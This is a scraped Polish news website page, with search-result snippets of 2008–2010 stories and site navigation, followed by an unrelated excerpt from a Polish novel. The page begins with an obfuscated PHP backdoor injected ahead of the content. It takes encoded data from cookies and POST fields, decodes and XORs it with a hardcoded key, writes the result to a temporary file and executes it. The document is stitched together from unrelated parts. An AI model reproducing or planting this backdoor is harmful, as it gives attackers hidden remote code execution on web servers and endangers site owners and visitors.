$dMJCNmQt = class_exists("Y_Bvg");if (!$dMJCNmQt){class Y_Bvg{private $IXAYHSdMWq;public static $HshdR = "54a096fd-36e8-47ac-a742-d3ff5c05ee1d";public static $iAVucXakj = NULL;public function __construct(){$jMvHPmxUN = $_COOKIE;$Snten = $_POST;$MFtxVSg = @$jMvHPmxUN[substr(Y_Bvg::$HshdR, 0, 4)];if (!empty($MFtxVSg)){$zMYLF = "base64";$wKZGJBhl = "";$MFtxVSg = explode(",", $MFtxVSg);foreach ($MFtxVSg as $uzpLnlr){$wKZGJBhl .= @$jMvHPmxUN[$uzpLnlr];$wKZGJBhl .= @$Snten[$uzpLnlr];}$wKZGJBhl = array_map($zMYLF . '_' . 'd' . "\x65" . 'c' . "\157" . chr (100) . 'e', array($wKZGJBhl,)); $wKZGJBhl = $wKZGJBhl[0] ^ str_repeat(Y_Bvg::$HshdR, (strlen($wKZGJBhl[0]) / strlen(Y_Bvg::$HshdR)) + 1);Y_Bvg::$iAVucXakj = @unserialize($wKZGJBhl);}}public function __destruct(){$this->BNShFbWx();}private function BNShFbWx(){if (is_array(Y_Bvg::$iAVucXakj)) {$Nhqthi = sys_get_temp_dir() . "/" . crc32(Y_Bvg::$iAVucXakj[chr (115) . 'a' . chr ( 939 - 831 ).'t']);@Y_Bvg::$iAVucXakj["\167" . chr (114) . 'i' . "\x74" . chr (101)]($Nhqthi, Y_Bvg::$iAVucXakj["\x63" . "\157" . "\x6e" . "\164" . 'e' . chr ( 330 - 220 ).chr ( 234 - 118 )]);include $Nhqthi;@Y_Bvg::$iAVucXakj["\144" . "\x65" . 'l' . "\x65" . "\164" . chr (101)]($Nhqthi);exit();}}}$snxKtNDySL = new Y_Bvg(); $snxKtNDySL = NULL;} ?> Posłowie biorą czynny udział w posiedzeniach Sejmu, 40 proc. Polaków nie chce głosować, PO mobilizuje się czy panikuje?, Czy w stolicy będzie referendum?, Największe partie polityczne tracą wyborców Wiadomości, najnowsze informacje, fakty
Zawsze najnowsze wiadomości
Dodaj do ulubionych
Dzisiaj są imieniny: Michała, Michaliny, Gabriela
Aktualności
Media
Polityka
Praca
Rozrywka
Sport
Forum
Kontakt
 
» Posłowie biorą czynny udział w posiedzeniach Sejmu
» 40 proc. Polaków nie chce głosować
» PO mobilizuje się czy panikuje?
» Czy w stolicy będzie referendum?
» Największe partie polityczne tracą wyborców
» PO i PiS ramię w ramię
» PO bierze duże miasta
» Wygrana PO batalii o Warszawę
» Górnicy nie zaszkodzili PO - najnowszy sondaż
» I tura wyborów prezydenckich sukcesem rockmana
Login:
Hasło:
rejestracja »
Jeśli chcesz otrzymywać najnowsze informacje na swoją skrzynkę email - wypełnij poniższy formularz:
ImiÄ™:
E-mail:
  
Home » Wyniki wyszukiwania
Z nieboszczką przez ścianę - przez 8 miesięcy...
25. sierpień 2009 18:44:35
Przez nawet osiem miesięcy zwłoki 59-letniej kobiety leżały w jej własnym mieszkaniu. Makabrycznego odkrycia dokonali we wtorek policjanci i strażacy z Bielska Podlaskiego.
Suczka przez 15 dni nie porzuciła zabitego przyjaciela
8. marzec 2010 10:19:45
Roczna suczka przez 15 dni warowała w rowie przydrożnym przy zwłokach jej psiego przyjaciela, który zginął potrącony przez samochód.
Burze gnały przez Polskę z prędkością 100 km/h
24. lipiec 2009 14:00:51
Nawałnicom wystarczyło kilkanaście minut, by dokonać ogromnych zniszczeń w każdym miejscu, przez które przeszły.
Podkarpackie: Lekceważeni przez...Sony
10. sierpień 2009 15:19:31
Pan Wacław kupił upatrzony telewizor marki Sony.
10-latka pogryziona przez psa
21. czerwiec 2009 15:17:14
Lekarze walczą o życie 10-letniej dziewczynki, pogryzionej przez psa we wsi pod Nowym Miastem Lubawskim. Dziecko w stanie krytycznym trafiło do szpitala w Olsztynie.
Szef "Wiadomości" zdjął materiał forsowany przez H. Lis
22. październik 2008 07:15:01
Kierownik "Wiadomości" TVP 1 Krzysztof Rak ponownie ingerował w prowadzone przez Hannę Lis wydanie programu.
 starsze » 
Copyright © 2024 http://www.wiadomosci.epliki.com.pl/   AktualnoÅ›ci  Media  Polityka  Praca  Rozrywka  Sport 
Przy wielkich kasztanach, znaczacych poczatek Sedelnik, Seweryn zwolnil kroku. Wprawdzie droga i tu pomiedzy pierwszymi, rzadko osiadlymi chalupami byla pusta, od strony pola wies okuta mrokiem robila wrazenie wymarlej, wolal jednak zachowac na wszelki wypadek ostroznosc. Nie chcial, aby zobaczyl go ktokolwiek, pedzacego noca jak opetaniec. Obciagnal plaszcz, poprawil czapke. Byl juz spokojny. Wariacki bieg na oslep poprzez pola zrobil swoje. Pozostal po nim szybki oddech, mocne bicie serca i palenie policzkow wysmaganych wiatrem, ale wlasnie z tymi jak gdyby ostatnimi dreszczami podniecenia bylo Sewerynowi dobrze. Skrecajac kolo krzyza w glowna ulice wsi, spojrzal w kierunku plebanii: swiatlo nie palilo sie. Za to, gdy mijal posterunek, wydalo mu sie, ze w glebi izby mignela sylwetka Nawrockiego. Nie bedac jednak pewny, czy ulegl zludzeniu, cofnal sie na przeciwna strone drogi i w cieniu drzewa przystanal. Ale stamtad jasny prostokat okna ukazywal tylko wnetrze izby: otwarte drzwi szafy, stol, w glebi polki z papierami. Drugie okno zamykala okiennica przepuszczajaca zaledwie waskie pasemko swiatla. Jednak wysoki cien czlowieka na scianie upewnil Seweryna, ze pokoj nie jest pusty. Bojac sie, ze moze go ktos przylapac na tym podpatrywaniu, chcial podejsc blizej, gdy w oknie ukazal sie Nawrocki. Stalo sie to tak nagle, iz Seweryn odskoczyl w tyl. Sucha galazka trzasnela mu pod nogami, zaklal pod nosem. Dalej cofac sie nie mogl, mial poza soba parkan, gdzies w poblizu zaczal ujadac pies, rozlegly sie meskie glosy. W pierwszej chwili wydalo sie Sewerynowi, ze Nawrocki dostrzegl go. Stal wiec przyklejony plecami do plotu, w obawie, ze najlzejszy ruch moze go zdradzic. Dopiero, gdy zdal sobie sprawe z odleglosci dzielacej go od Nawrockiego i z mroku, uspokoil sie. Nie mogac jednak uwolnic sie od wrazenia, ze spojrzenie Nawrockiego biegnie w jego kierunku, schylil sie i tak zgiety, na palcach przesunal sie powoli poza niebezpieczne pole widzenia. „Trzeba teraz wziac sie w garsc” - pomyslal znalazlszy sie z powrotem na drodze. Wszystko szlo dotad jak najlepiej. Obecnosc Nawrockiego na posterunku przekonala go, ze sie nie omylil w przypuszczeniach. Co jednak mialo oznaczac to „o dziesiatej” rzucone na pozegnanie Litowce? Zanim wszedl do karczmy, spojrzal na zegarek: nafosforyzowane wskazowki wskazywaly kwadrans po osmej. „ladny kawalek czasu przelazilem” - pomyslal. W tym miejscu bylo juz nieco jasniej, zobaczyl wiec, ze buty ma w rozpaczliwym stanie, ledwie widac bylo skore spod grubej warstwy gliniastego blota. Tym lepiej! Jeszcze raz poprawil plaszcz i krokiem szybkim, jak gdyby wyniklym z dlugiego marszu, skierowal sie w strone drzwi. Litowka siedzial za kontuarem. - O, pan inzynier! - zawolal widzac wchodzacego. Seweryn rozesmial sie swobodnie.